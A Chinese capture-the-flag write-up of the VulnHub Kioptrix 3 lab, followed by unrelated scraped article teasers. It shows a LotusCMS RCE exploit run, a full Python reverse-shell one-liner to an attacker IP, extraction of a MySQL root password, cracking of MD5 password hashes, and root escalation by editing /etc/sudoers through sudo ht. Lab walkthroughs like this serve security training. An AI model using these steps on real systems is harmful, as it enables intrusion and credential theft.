vulnhub kioptirx1.2 超详细wp

探测

nmap --min-rate 10000 -p- 192.168.128.134 最小速率10000

image-20241205163859777

nmap -sT -sV -sC -O 192.168.128.134

image-20241205164804056

web打点

image-20241205171224647

image-20241205171232934

image-20241205171239351

image-20241205171301144

无弱口令

暴露cms寻找exp

image-20241205171417653

searchsploit LotusCMS -m 16982 [输入id号和参数m可以直接把东西复制到当前目录]

image-20241205174155253

查看txt里面发现 都是xss没有rce

github搜索到一个rce 还是sh的

image-20241205180051530

image-20241205180033727

反弹shell

exp用法 url加cms的路径

image-20241205180338477

./lotusRCE.sh 192.168.128.134/index.php

让我们输入reverse shell的ip 以及端口

nc -lvnp 4444 监听本机的4444端口

image-20241205180609391

我们是nc弹的shell 输入1就行了

权限是www-data 就是网站权限

image-20241205180924867

内网

uname -a 可以看是什么机器

dpkg -l 是查看机器上安装了那些东西 机器上有python

image-20241205181443640

先把交互的shell改善一下 查一下python的反弹命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.128.128",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20241205181806752

成功反弹shell 但是我们不能clear 会很麻烦

image-20241205182335110

clear 命令时,如果系统报告 TERM environment variable not set,这意味着 clear 无法确定它应该使用哪种控制序列来清除屏幕。不同的终端类型有不同的控制序列用于移动光标、清除屏幕等操作。clear 命令依赖于 TERM 环境变量来知道它正在与哪种类型的终端通信,从而发送正确的控制序列。

为什么import就能 clear 了?

  1. 终端识别clear 命令需要了解它是在什么类型的终端上运行的,以便能够正确地发送清除屏幕的命令。如果你没有设置 TERM 变量,clear 就不知道该发送哪些控制字符来完成这个任务。

  2. 控制序列:每种终端类型都有自己的控制序列集,用来处理如清除屏幕、移动光标等操作。xterm-colorxterm-256color 是常见的终端类型,它们定义了一组标准的控制序列,clear 命令可以根据这些标准来工作。

  3. 库支持:许多命令行工具,包括 clear,通常会通过一个叫做 terminfo(或更老的 termcap)的数据库来查找与特定 TERM 值关联的控制序列。当 TERM 被正确设置后,clear 可以查询这个数据库并找到如何在你的终端上执行清除操作。

  4. 默认行为:大多数现代的终端模拟器都兼容 xterm,并且至少支持基本的 ANSI 控制序列。因此,将 TERM 设置为 xtermxterm-256color 通常是安全的选择,可以确保大部分命令行工具正常工作,包括 clear

export TERM=xterm-color 导入环境变量让 clear知道是那种终端【就可以clear了】

内网漫游

提权sudo

漫游就是翻机器里面的文件比如配置文件 【config】里面会记录很多敏感信息

ls -l 看当前目录下的文件 这是这个网站的源码文件

image-20241205184323681

看了 modules data cache gallery

gallery文件下有配置文件

image-20241205184652794

发现mysql的密码 和路径

image-20241205184919983

$GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";
        $GLOBALS["gallarific_mysql_server"] = "localhost";
        $GLOBALS["gallarific_mysql_database"] = "gallery";
        $GLOBALS["gallarific_mysql_username"] = "root";
        $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

登录phpmuadmin

本来下连接mysql数据库的

根据之前的端口信息可以知道该机器是没有对外开放3306的

所以只能目标机器自己连接但是 这个地方不知道为什么 我一直连不上

image-20241205190157007

但是用同样的密码 phpmyadmin倒是登录上去了 事半功倍

image-20241205190344940

在gallery数据库中有两个 敏感表 account users 里面都有密码

users表

image-20241205191121793

这个密码应该是gallery的用户的密码 之前漫游翻 gallery文件的时候有 一个gadmin

image-20241205191616997

尝试访问 并登陆成功

image-20241205191859087

有上传功能

image-20241205192007245

accounts表

image-20241205191138423

把hash拿去kali的 hash-identifier -h 识别一下 发现是md5

image-20241205192248475

在线解密md5在线解密破解,md5解密加密

loneferret  starwars
dreg          Mast3r

但是我们不知道这是什么密码 accounts 是账户的意思 能连的 现在就mysql 主页面登录框 另一个发现的登录框

主页面的登录框我都试过 不对

现在只有ssh没有试过了 但是发现目标机器的ssh加密太老了

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss dreg@192.168.128.134
  • -oHostKeyAlgorithms=ssh-rsa,ssh-dss: 使用 -oH 选项来设置配置参数。这里的 HostKeyAlgorithms 参数指定了客户端愿意接受的主机密钥算法列表。通过将 ssh-rsassh-dss 添加到这个列表中,你允许客户端与只提供这些算法的服务器进行协商。

  • dreg@192.168.128.134: 指定要连接的用户(dreg)和远程服务器的IP地址(192.168.128.134)。

提权

两个用户全部ssh登录成功

image-20241205194010095

先尝试sudo提权 dreg用户不能 但是lonferret有sudo权限

image-20241205194730734

直接sudo /urs/local/bin/ht 这个就是无密码使用sudo权限执行 的ht【一个linux编辑器】 f3进入

image-20241205201632505

/etc/sudoers 文件是 Linux 系统中用于配置 sudo 命令权限的核心文件。它定义了哪些用户或用户组可以以超级用户(root)或其他用户的权限执行特定命令

如果在 sudoers 文件中为某个用户或用户组添加了 /bin/bash 的权限,这意味着该用户可以通过 sudo 启动一个具有超级用户权限的交互式 shell。这将允许他们执行任意命令,而不仅仅是你原本打算允许的特定命令

添加 /bin/bash

image-20241205202150723

直接执行 sudo /bin/bash

大功告成

image-20241205202430477

总结

searchsploit LotusCMS -m 16982【漏洞id】 很方便的把searchsploit的exp直接复制到到当前目录

uname -a查看机器信息

dpkg -l 查看当前软件 可以用grep 来过滤关键信息

根据提示来确定解决办法

export TERM=xterm-color 添加环境变量 命令行

ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss dreg@192.168.128.134 修改我们客户端的ssh配置符合 服务端的密钥配置

/etc/sudoers 定义用户可以执行那些权限

密码复用问题多尝试

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/929396.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

扫二维码进小程序的指定页面

草料二维码解码器 微信开发者工具 获取二维码解码的参数->是否登陆->跳转 options.q onLoad: function (options) {// console.log("options",options.q)if (options && options.q) {// 解码二维码携带的链接信息let qrUrl decodeURIComponent(optio…

mysql基础学习1

useradd -r -g mysql -s /bin/false mysql (-r)系统用户 不能登录 A temporary password is generated for rootlocalhost: d>#jT7rfoaz) 看是否启动 看进程 端口 直接连接 看日志 varchar (20) char(20)更耗空间 create table student_info(id int,name varchar(20),s…

Echarts使用平面方法绘制三维立体柱状图表

目录 一、准备工作 1.下载引入ECharts库 2.创建容器 二、绘制基本柱状 三、绘制立体柱状方法一 1.定义立方体形状 2.注册立方体形状 3.配置custom系列 4.设置数据 5.渲染图表 四、绘制立体柱状方法二 1.画前知识 2.计算坐标renderItem 函数 (1&#x…

基于 MindQuantum 实现对 “天衍” 量子云平台真机的比特映射

MindQuantum 目前只支持量子模拟器,如果需要获得量子算法在真机上的实测数据,可以借助“天衍”量子云平台提供的真机。本文将介绍如何基于 MindQuantum 绘制“天衍”真机的拓扑图,并进而实现比特映射。 关于 MindQuantum 涉及比特映射的教程…

OpenBayes贝式计算创始人受邀参加第九届中国开源年会,分享 AI4S 前沿洞察

Open Source,Open Life,开源新生活! 由开源社主办的第九届中国开源年会 (COSCon24) 于 2024 年 11 月 3 日在北京圆满落幕。本届大会为期 2 天,以 「开源新生活 - Open Source, Open Life 」 为主题,汇聚了来自全国各…

Day1 生信新手笔记

生信新手笔记 生信学习第一天笔记打卡。 转录组学中: 上游分析-基于linux,包括质控、过滤、比对、定量; 下游分析-基于R语言,包括差异分析、富集分析、可视化。 1. 级别标题 一个井号加空格 就是一级标题,两个井号加…

日拱一卒(9)——leetcode学习记录:两数组中位数

一、问题 给定两个大小分别为 m 和 n 的排序数组 nums1 和 nums2,要求你在 O(log(mn)) 的时间复杂度内找出这两个数组的中位数。 二、思路 时间复杂度O(log(n))代表随着操作数增加,剩余操作数递减,如二分法。 首先要建模,对这…

从 HTML 到 CSS:开启网页样式之旅(五)—— CSS盒子模型

从 HTML 到 CSS:开启网页样式之旅(五)—— CSS盒子模型 前言一、盒子模型的组成margin(外边距):border(边框):padding(内边距):conten…

【区块链】深入理解区块链中的 Gas 机制

🌈个人主页: 鑫宝Code 🔥热门专栏: 闲话杂谈| 炫酷HTML | JavaScript基础 ​💫个人格言: "如无必要,勿增实体" 文章目录 深入理解区块链中的 Gas 机制一、Gas 的基本概念1.1 为什么需要 Gas&#xff1f…

黑马JavaWeb-day06、07、08(SQL部分) _

文章目录 MYSQL概述数据模型SQL简介SQL分类 DDL数据库操作表操作 DML增(INSERT)改(UPDATE)删(DELETE) DQL基本查询条件查询(where)分组查询(group by)排序查询…

Kubernetes集群操作

查看集群信息: kubectl get nodes 删除节点 (⽆效且显示的也可以删除) 后期如果 要删除某个节点,为了不增加其他节点的访问压力,先增加一个节点,再删除要删除的节点 语法 :kubect delete…

基于PSO粒子群优化的CNN-LSTM-SAM网络时间序列回归预测算法matlab仿真

目录 1.算法运行效果图预览 2.算法运行软件版本 3.部分核心程序 4.算法理论概述 5.算法完整程序工程 1.算法运行效果图预览 (完整程序运行后无水印) 2.算法运行软件版本 matlab2022a 3.部分核心程序 (完整版代码包含详细中文注释和操作步骤视频&#xff09…

三步入门Log4J 的使用

本篇基于Maven 的Project项目&#xff0c; 快速演示Log4j 的导入和演示。 第一步&#xff1a; 导入Log4j依赖 <dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.24.2</version&…

Redis 基础、Redis 应用

Redis 基础 什么是 Redis&#xff1f; Redis &#xff08;REmote DIctionary Server&#xff09;是一个基于 C 语言开发的开源 NoSQL 数据库&#xff08;BSD 许可&#xff09;。与传统数据库不同的是&#xff0c;Redis 的数据是保存在内存中的&#xff08;内存数据库&#xf…

3D数据大屏实现过程,使用echarts、Next.js

&#x1f4dc; 本文主要内容 数据大屏自适应方案动效 echarts&#xff1a; 3D 立体柱状图动态流光折线图 3D 地球&#xff08;飞线、柱状图&#xff09;无限滚动列表 &#x1f50d; 大屏效果 数据大屏&#xff1a; 点击预览 &#x1f579; 运行条件 next 12.3.4echarts 5.4…

标贝科技受邀出席2024东湖国际人工智能高峰论坛并入选数据要素合作伙伴名单

近日&#xff0c;备受瞩目的2024东湖国际人工智能高峰论坛在中国光谷科技会展中心隆重召开。会议以“智联世界&#xff0c;共创未来”为主题&#xff0c;省市相关单位、专家学者、产学研各界百余家联合体单位齐聚一堂&#xff0c;共话人工智能领域的最新技术及产业发展趋势。会…

unity与android拓展

一.AndroidStudio打包 1.通过Unity导出Android Studio能够打开的工程 步骤 1.设置导出基本信息&#xff1a;公司名、游戏名、图标、包名等关键信息 2.在File——>Build Settings中&#xff0c;勾选 Export Project 选项 3.点击Export 导出按钮 2.在Android Studio中打开Un…

linux通过fork()和execve()调用其他程序在子线程中运行

fork()的的使用见上一期 linux C fork()和系统调用文件-CSDN博客 简单说一下fork的作用就是创造一个子进程和当前进程一起执行下面的代码 pid_t fork(void) execve的作用为&#xff1a;让当前进程内容销毁大部分&#xff0c;重新执行一个程序 int execve (const char *__path…

整数benders分解算法

benders分解是将问题分为限制主问题和子问题&#xff0c;然后主问题向子问题传入变量&#xff0c;接着根据子问题求解的信息向主问题返回割&#xff08;最优割和可行割&#xff09;&#xff0c;这些割以约束的形式被添加到主问题中。其中&#xff0c;子问题因为求解得到的解是可…

Unity之(多语言)Localization本地化工具

一、安装和配置 Localization Localization是Unity基于对多种语言和区域变体所设计的一个本地化工具&#xff0c;常用与切换多国语言时文本、图片的动态替换。 1.安装Localization插件 Window—> Package Manager&#xff0c;打开Package Manager面板 Packages选择Unity Re…